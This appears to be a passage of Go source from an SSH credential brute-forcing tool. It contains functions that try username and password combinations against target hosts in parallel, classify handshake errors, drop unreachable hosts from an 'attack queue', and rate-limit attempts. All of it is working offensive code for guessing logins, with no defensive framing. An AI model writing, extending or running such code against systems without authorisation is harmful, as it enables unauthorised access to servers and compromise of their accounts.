/* Handle generic error strings */ func handleErrorString(a attempt, rc chan attempt, nA *lockedint.TInt, ts *tslist.List) bool { s := a.Err.Error() switch { case strings.HasPrefix(s, "ssh: handshake failed: ssh: unable "+ "to authenticate") && strings.HasSuffix(s, "no supported "+ "methods remain"): /* Auth failed, Decrement the number of attempts in the wild */ nA.Dec() case strings.HasSuffix(s, "ssh: handshake failed: ssh: no common "+ "algorithms"): removeHost(ts, a, "no common algorithms", nA) case strings.HasSuffix(s, "ssh: handshake failed: ssh: invalid "+ "packet length, packet too large"): removeHost(ts, a, "packet to large", nA) case strings.HasSuffix(s, "ssh: handshake failed: EOF"): /* Sometimes EOFs aren't the host's fault. */ if *gc.Rteoff { log.Printf("[%v] Retrying %v@%v - %v in 1 second "+ "due to EOF", a.Tasknum, a.User, a.Host, a.Pass) /* This causes all new attempts to halt for a second */ time.Sleep(time.Second) } else { removeHost(ts, a, "unexpected EOF", nA) } case strings.HasPrefix(s, "ssh: handshake failed: read tcp") && strings.HasSuffix(s, "connection reset by peer"): removeHost(ts, a, "connection reset by target", nA) default: return false } return true }
/* Remove a host from the template list, give the reason as r and decrement nA. If r is the empty string, no message will be printed. */ func removeHost(ts *tslist.List, a attempt, r string, nA *lockedint.TInt) { /* Tell the user what's going on */ if r != "" { log.Printf("[%v] Removing %v from attack queue: %v", a.Tasknum, a.Host, r) } /* Mark a bunch of hosts for removal */ for e := ts.Head(); e != nil; e = e.Next() { if c, ok := e.Value().(*template); !ok { printTemplateNotOk(e) os.Exit(-10) } else if ok && c.Host == a.Host { e.RemoveMark() } } /* Remove the marked hosts */ ts.RemoveMarked() /* Decrement the number of attempts in the wild */ nA.Dec() }
/* sshTask represents one parallelizable brute-forcer. attempts come in on attemptc, and if a match is found, the userame, password, and host are sent back on successc. Tasknum is a unique identifier for this task. If triesf is true, every attempt will to be printed. wait specifies how long each attempt will wait, with an upper bound specified opaquely by the ssh library. If errdb is true, ssh errors will be printed. The task will pause for pause after each attempt. */ func sshTask(a attempt, nRunning *lockedint.TInt, failc, successc chan attempt, tasknum int, triesf bool, wait, pause time.Duration) { /* Attempt to connect to server and authenticate. */ if triesf { log.Printf("[%v] Attempting %v@%v - %v", tasknum, a.User, a.Host, textIfBlank(a.Pass)) } /* Channels internal to this sshtask */ sc := make(chan attempt) fc := make(chan attempt) /* Closure (yuck) goroutine to actually run the task */ go func() { _, err := ssh.Dial("tcp", a.Host, a.Config) /* Send the attempt on the appropriate channel. */ if err != nil { a.Err = err a.Tasknum = tasknum fc <- a } else { sc <- a } }() select { case a := <-fc: failc <- a case a := <-sc: successc <- a case <-time.After(wait): a.Err = &TimeoutError{} a.Tasknum = tasknum failc <- a } /* Decrement the counter of alive sshtasks */ nRunning.Dec() /* Pause for rate-limiting. */ if pause > 0 { time.Sleep(pause) } }